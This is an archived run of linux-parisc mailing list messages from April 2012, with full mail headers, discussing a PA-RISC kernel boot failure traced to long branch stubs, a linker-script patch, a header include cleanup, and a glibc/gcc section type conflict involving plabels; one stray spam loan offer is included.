X-OriginalArrivalTime: 21 Apr 2012 21:43:55.0460 (UTC) FILETIME=[D9CD9040:01CD2007]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4292>

On 21-Apr-12, at 3:15 PM, John David Anglin wrote:

> It would appear the linker has messed up the ALIGN(16), but it
> isn't clear why.  If you look at the kernel with objdump, I would
> expect zeros from 10100000 to 10100100, but maybe something
> else is there.
>
> I don't think this is directly related to the size of the kernel.


As usual, I'm wrong ;(

The problem is kernel size related.

Disassembly of section .text:

10100000 <stext-0x100>:
10100000:       20 2e b2 02     ldil L%1019d800,r1
10100004:       e0 20 2c 7a     be,n 63c(sr4,r1)
...

We have a bunch of long branch stubs at the beginning of the kernel.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 32bit kernel
Date: Sun, 22 Apr 2012 08:20:23 -0400
Lines: 78
Approved: news@gmane.org
Message-ID: <BLU0-SMTP60C76C814A1780515CC0B297200@phx.gbl>
References: <20120419102608.1834003e@driller.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-21-307738125"
X-Trace: dough.gmane.org 1335097249 8909 80.91.229.3 (22 Apr 2012 12:20:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2012 12:20:49 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 22 14:20:48 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SLvmU-0000cn-Pz
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Apr 2012 14:20:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751394Ab2DVMUm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Apr 2012 08:20:42 -0400
Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:63717 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751380Ab2DVMUl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Apr 2012 08:20:41 -0400
Original-Received: from BLU0-SMTP60 ([65.55.111.136]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 22 Apr 2012 05:20:40 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP60.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 22 Apr 2012 05:20:40 -0700
In-Reply-To: <20120419102608.1834003e@driller.lan>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 22 Apr 2012 12:20:40.0226 (UTC) FILETIME=[54AFD820:01CD2082]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4293
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4293>

--Apple-Mail-21-307738125
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 19-Apr-12, at 4:26 AM, Guy Martin wrote:

> Hi all,
>
> I compiled a kernel with a few additional features and I was unable to
> boot it. It seems that if the entry point is not 0x00100000 in  
> vmlinux,
> the boot process fails right after "Total Memory: 2048 MB".
> This is the only common denominator I could find.
>
> I've been able to reproduce this with :
> - C3600 and J5600
> - kernel 3.2.12 and 3.3.1
> - gcc 4.5.3
> - ld 2.21 and 2.22
> - palo 1.17 and 1.18


Could you try the attached patch?  It adjusts the section arrangement so
that the long branch stubs don't appear at the start of .text.  As a  
result,
_stext and stext now are at 10100000.

The problem arises from section merging and a few branch distances
in the kernel exceeding the PA 2.0 limit.

The patch might not work if the long branch stubs don't work...

Another approach might be to add -mlong-calls to CFLAGS.  However,
these calls are less efficient.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-21-307738125
Content-Disposition: attachment; filename="vmlinux.lds.S.diff.txt"
Content-Type: text/plain; x-unix-mode=0644; name="vmlinux.lds.S.diff.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index fa6f2b8..64a9998 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -50,8 +50,10 @@ SECTIONS
 	. = KERNEL_BINARY_TEXT_START;
 
 	_text = .;		/* Text and read-only data */
-	.text ALIGN(16) : {
+	.head ALIGN(16) : {
 		HEAD_TEXT
+	} = 0
+	.text ALIGN(16) : {
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT
@@ -65,7 +67,7 @@ SECTIONS
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
-	} = 0
+	}
 	/* End of text section */
 	_etext = .;
 

--Apple-Mail-21-307738125--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ventas11 <oceanloans@blumail.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Contact me for a private and secured loan now!!
Date: Sun, 22 Apr 2012 06:10:32 -0400
Organization: OCEAN FINANCE & MORTGAGE LIMITED
Lines: 8
Approved: news@gmane.org
Message-ID: <20120422061032.ed367780@mail.owensperu.com>
Reply-To: oceandirect@blumail.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1335121719 10772 80.91.229.3 (22 Apr 2012 19:08:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2012 19:08:39 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 22 21:08:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SM29G-0004Iq-Go
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Apr 2012 21:08:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752141Ab2DVTIg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Apr 2012 15:08:36 -0400
Original-Received: from mail.owensperu.com ([190.222.232.168]:3732 "EHLO
	mail.owensperu.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751298Ab2DVTIg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Apr 2012 15:08:36 -0400
Original-Received: from [41.203.64.130] ([41.203.64.130])
	by mail.owensperu.com;
	Sun, 22 Apr 2012 05:10:33 -0500
X-User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)
	Chrome/19.0.1084.30 Safari/536.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4294
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4294>

Esteemed reader,
   Do you know that you don't have to work too hard to have a better lifestyle?, Get the loan you deserve from OCEAN FINANCE & MORTGAGES LIMITED.
To Apply, send us your full names, country, needed loan sum via email To: ocendirect@blumail.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 4/6] parisc: drop include of asm/pdc.h from asm/hardware.h
Date: Mon, 23 Apr 2012 18:34:11 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <CANEJEGsZdHBRRBnXp0-ETQiv6J7m-FHNn_qCxDNXEq_dL0LkAQ@mail.gmail.com>
References: <3154414.psmJh6J2U2@donald.sf-tec.de>
	<1908845.8gGWeWu9U7@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335231256 10187 80.91.229.3 (24 Apr 2012 01:34:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2012 01:34:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 24 03:34:16 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SMUdx-0006ne-V3
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Apr 2012 03:34:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756045Ab2DXBeN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 23 Apr 2012 21:34:13 -0400
Original-Received: from mail-ob0-f174.google.com ([209.85.214.174]:37515 "EHLO
	mail-ob0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754716Ab2DXBeM convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 23 Apr 2012 21:34:12 -0400
Original-Received: by obbta14 with SMTP id ta14so308585obb.19
        for <linux-parisc@vger.kernel.org>; Mon, 23 Apr 2012 18:34:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding:x-system-of-record;
        bh=EaW3S2ZBqWP7kWALXRguebX+PAxXIhTGTpQ6x301pvc=;
        b=am7Ayq/sHI3tqbo9ux1VzZvSfx9ePg+4n2duI+WlyOwQqZS+SQ1oLsb8FvdTStvlhw
         5ZAddneryecZdKzIF1jHGYkUq5CsiZ4rUGzpqPOAS/NJ2hEJRxeTiCF0gFifOoDWGb8q
         KQYfI6H4eOUZlIOOY60Dg7ZCzU4HznyQ1g27PBok1yI1OTkJBNGvVNvMk012+vxOCDnj
         PeVL3MOPFKhD6KoYmHFwpw27+b0F4Im2w1daXkiTjmkxOL+5Os3IEZVvULpt+VbFGVy/
         vKtWEka+RK81XVX3YIrrX9USvM7uyRKlTF05c0zS2C7hUDcc7Cz1r1ozD47jbiAif6TB
         sn3g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding:x-system-of-record:x-gm-message-state;
        bh=EaW3S2ZBqWP7kWALXRguebX+PAxXIhTGTpQ6x301pvc=;
        b=iF60GY3AFd1ytYY9llGWgVDIKcjpuNizykhr6NqFO//Nq6STytQRO2SILtuGWlV7g/
         knJ/37ZN0ZjcLhOEgYf6nNPp5w17JFrzwfUiN0gGCmnz8/+sGlSFFD+RRgGMoa1oRVYP
         UzqfevnwMYTqfXzQgbMt+X1B8iduEsWAYcp+7P6P693efv5O9EaNVFF5AOi9zuYM9a4t
         etR1BjcdT44mQE6F/ynMLmCnvswbDQX0h4cPD67c1jOigKs/njkL6b4GJldeu50i/XDd
         f+Q0xgs58gteNuklEWEm5W1GoswirMcqA+rj5TQ5mZWXGPGUxXO5HNas1SrV1oRRrHdt
         6GZw==
Original-Received: by 10.182.16.1 with SMTP id b1mr13869572obd.31.1335231251762;
        Mon, 23 Apr 2012 18:34:11 -0700 (PDT)
Original-Received: by 10.182.16.1 with SMTP id b1mr13869558obd.31.1335231251636; Mon,
 23 Apr 2012 18:34:11 -0700 (PDT)
Original-Received: by 10.182.71.168 with HTTP; Mon, 23 Apr 2012 18:34:11 -0700 (PDT)
In-Reply-To: <1908845.8gGWeWu9U7@donald.sf-tec.de>
X-Google-Sender-Auth: DyRJb9eXE6YXrLEIt0Djt3F7hhk
X-System-Of-Record: true
X-Gm-Message-State: ALoCoQk8Yldbut1+qMS6vNrK5UMnZtARxNXeqR6I6EhufUThG36xceb5J0WWbX5YJV+iBWh1VcdjEpYjNScRvMp6wTGA8mW2JRTqye9nXD5kgM7ktYVSUmY9BAUlIFqVdPFS3bhlZjj91Y2u0I4QALZnhjns/n9pfw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4295
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4295>

On Sat, Apr 21, 2012 at 11:17 AM, Rolf Eike Beer <eike-kernel@sf-tec.de=
> wrote:
> It seems none of the symbols defined by pdc.h is needed,

Rolf,
I looked through both files and I agree whatever dependency might have
exsisted, doesn't appear to now.

thanks for cleaning this up,
grant

> but it introduces an
> include loop causing compile errors:
>
> In file included from /home/buildbot/repos/linux/arch/parisc/include/=
asm/spinlock.h:4:0,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/include/asm/atomic.h:20,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/include/linux/atomic.h:4,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/include/asm/bitops.h:56,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/include/linux/bitops.h:35,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/include/asm-generic/getorder.h:7,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/include/asm/page.h:162,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/include/asm/pdc.h:346,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/include/asm/hardware.h:5,
> =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 from /home/bu=
ildbot/repos/linux/arch/parisc/kernel/hardware.c:30:
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:74:16:=
 error: field =E2=80=98cpu_type=E2=80=99 has incomplete type
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:77:20:=
 error: field =E2=80=98model=E2=80=99 has incomplete type
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h: In fu=
nction =E2=80=98parisc_requires_coherency=E2=80=99:
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36=
: error: =E2=80=98mako=E2=80=99 undeclared (first use in this function)
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36=
: note: each undeclared identifier is reported only once for each funct=
ion it appears in
> /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:350:30=
: error: =E2=80=98mako2=E2=80=99 undeclared (first use in this function=
)
>
> Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
> ---
> =C2=A0arch/parisc/include/asm/hardware.h | =C2=A0 =C2=A01 -
> =C2=A01 file changed, 1 deletion(-)
>
> diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include=
/asm/hardware.h
> index 036e703..d1d864b 100644
> --- a/arch/parisc/include/asm/hardware.h
> +++ b/arch/parisc/include/asm/hardware.h
> @@ -2,7 +2,6 @@
> =C2=A0#define _PARISC_HARDWARE_H
>
> =C2=A0#include <linux/mod_devicetable.h>
> -#include <asm/pdc.h>
>
> =C2=A0#define HWTYPE_ANY_ID =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0PA_HWTY=
PE_ANY_ID
> =C2=A0#define HVERSION_ANY_ID =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0PA_HVERSION_ANY_ID
> --
> 1.7.9.2
>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-paris=
c" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =C2=A0http://vger.kernel.org/majordomo-info.ht=
ml
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa: glibc and gcc 4.6, "error: _rtld_global_ro causes a section type conflict"
Date: Tue, 24 Apr 2012 19:55:11 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP9C263F5C55BC27550263497260@phx.gbl>
References: <CADZpyix39LFL7MccuovarhdbpVCO8aSmBMH1hjK+4bn=ZYsXaA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1335311734 24195 80.91.229.3 (24 Apr 2012 23:55:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2012 23:55:34 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 25 01:55:33 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SMpZx-0004D5-Hy
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Apr 2012 01:55:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755432Ab2DXXz3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Apr 2012 19:55:29 -0400
Original-Received: from blu0-omc4-s2.blu0.hotmail.com ([65.55.111.141]:55019 "EHLO
	blu0-omc4-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755406Ab2DXXz2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Apr 2012 19:55:28 -0400
Original-Received: from BLU0-SMTP9 ([65.55.111.135]) by blu0-omc4-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 24 Apr 2012 16:55:28 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP9.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 24 Apr 2012 16:55:27 -0700
In-Reply-To: <CADZpyix39LFL7MccuovarhdbpVCO8aSmBMH1hjK+4bn=ZYsXaA@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Apr 2012 23:55:27.0572 (UTC) FILETIME=[B91B8940:01CD2275]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4296
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4296>

On 15-Apr-12, at 11:00 AM, Carlos O'Donell wrote:

> When compiling glibc on magnum with gcc-4.6 I get an odd failure about
> section type conflicts.


After discussing the issue with Jakub Jelinek,  it appears the bug is  
caused by placing
function labels (plabels) in the constant pool.  PA has done this for  
longer than I can
remember, but it doesn't appear necessary.  As you know, only ia64 and  
pa use plabels.
This causes the setting of default flags for .data.rel.ro which  
conflict with those needed
for _rtld_global_ro in the dynamic linker.  The problem doesn't have  
anything directly
to do with the handling of the variable _rtld_global_ro.  This was  
what was confusing
me as everything seemed generic.

I am testing a fix.  Your testcase compiles successfully with the fix.

The issue is incredibly subtle.  I would guess it was just a matter of  
luck that other targets
aren't affected given that the code in rtld.c is not exactly exactly  
kosher from GCC POV.

Regards,
Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hppa: glibc and gcc 4.6, "error: _rtld_global_ro causes a section
 type conflict"
Date: Wed, 25 Apr 2012 00:05:46 -0400
Lines: 60
Approved: news@gmane.org
Message-ID: <CADZpyizS_HE4YLvw=ssi2Wi33q_c8L0MRECaUjhC7kKMtg6baQ@mail.gmail.com>
References: <CADZpyix39LFL7MccuovarhdbpVCO8aSmBMH1hjK+4bn=ZYsXaA@mail.gmail.com>
	<BLU0-SMTP9C263F5C55BC27550263497260@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1335326760 15057 80.91.229.3 (25 Apr 2012 04:06:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2012 04:06:00 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	libc-ports@sourceware.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 25 06:05:58 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SMtUD-0004yY-2A
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 Apr 2012 06:05:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752543Ab2DYEFs convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 Apr 2012 00:05:48 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:41575 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752433Ab2DYEFr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 Apr 2012 00:05:47 -0400
Original-Received: by pbbro12 with SMTP id ro12so925340pbb.19
        for <linux-parisc@vger.kernel.org>; Tue, 24 Apr 2012 21:05:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=JO73Uzkd3fBHOlJlfOETdjvcUd8s0LIvcgO5bixvbOY=;
        b=nLwixYTAh2X83UMMjSnLhuzCLHRXM0XiS/L9ODKF41X517nxBTteLP7VUdwNgLgnRV
         CRltEDXx0qwXLQtmk0eZHqublld/CDmfoYP/PvZD852pAU97KTrT8KakKrj30rz9wmGj
         gQ0R8mva+TQRYKtG/bNYXAfmXjx2tgJKRCLIHIy9k0EU4dlqLV9sFbv2x4uIsEetLiBe
         pa2tsPX5uV1eWKhuPXoFLWchGi6udHWBWwCuXyjNsvUwr50gKalYvSR58PZsbI93Gasf
         4JYdc6R5/zeNBS0wUXBbmLjgeovLMVqWpA6G4XxPGXrkFhLh3PjKt4RcyI4rXHBnGsZ+
         3nBg==
Original-Received: by 10.68.224.99 with SMTP id rb3mr3621747pbc.79.1335326746371; Tue,
 24 Apr 2012 21:05:46 -0700 (PDT)
Original-Received: by 10.68.48.8 with HTTP; Tue, 24 Apr 2012 21:05:46 -0700 (PDT)
In-Reply-To: <BLU0-SMTP9C263F5C55BC27550263497260@phx.gbl>
X-Google-Sender-Auth: 9fopEpBK4wYPJ-xn5zftTxCGxK0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4297
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4297>

On Tue, Apr 24, 2012 at 7:55 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
> On 15-Apr-12, at 11:00 AM, Carlos O'Donell wrote:
>
>> When compiling glibc on magnum with gcc-4.6 I get an odd failure abo=
ut
>> section type conflicts.
>
>
>
> After discussing the issue with Jakub Jelinek, =A0it appears the bug =
is caused
> by placing
> function labels (plabels) in the constant pool.

Interesting.

> PA has done this for longer
> than I can
> remember, but it doesn't appear necessary. =A0As you know, only ia64 =
and pa
> use plabels.

Yes, we both rely on the plabel code in glibc.

> This causes the setting of default flags for .data.rel.ro which confl=
ict
> with those needed
> for _rtld_global_ro in the dynamic linker. =A0The problem doesn't hav=
e
> anything directly
> to do with the handling of the variable _rtld_global_ro. =A0This was =
what was
> confusing
> me as everything seemed generic.

Me too.

> I am testing a fix. =A0Your testcase compiles successfully with the f=
ix.

Excellent!

> The issue is incredibly subtle. =A0I would guess it was just a matter=
 of luck
> that other targets
> aren't affected given that the code in rtld.c is not exactly exactly =
kosher
> from GCC POV.

The dynamic linker isn't exactly kosher :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot failure with 32bit kernel
Date: Thu, 26 Apr 2012 10:48:25 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20120426104825.06b5cec8@driller.lan>
References: <20120419102608.1834003e@driller.lan>
	<BLU0-SMTP60C76C814A1780515CC0B297200@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
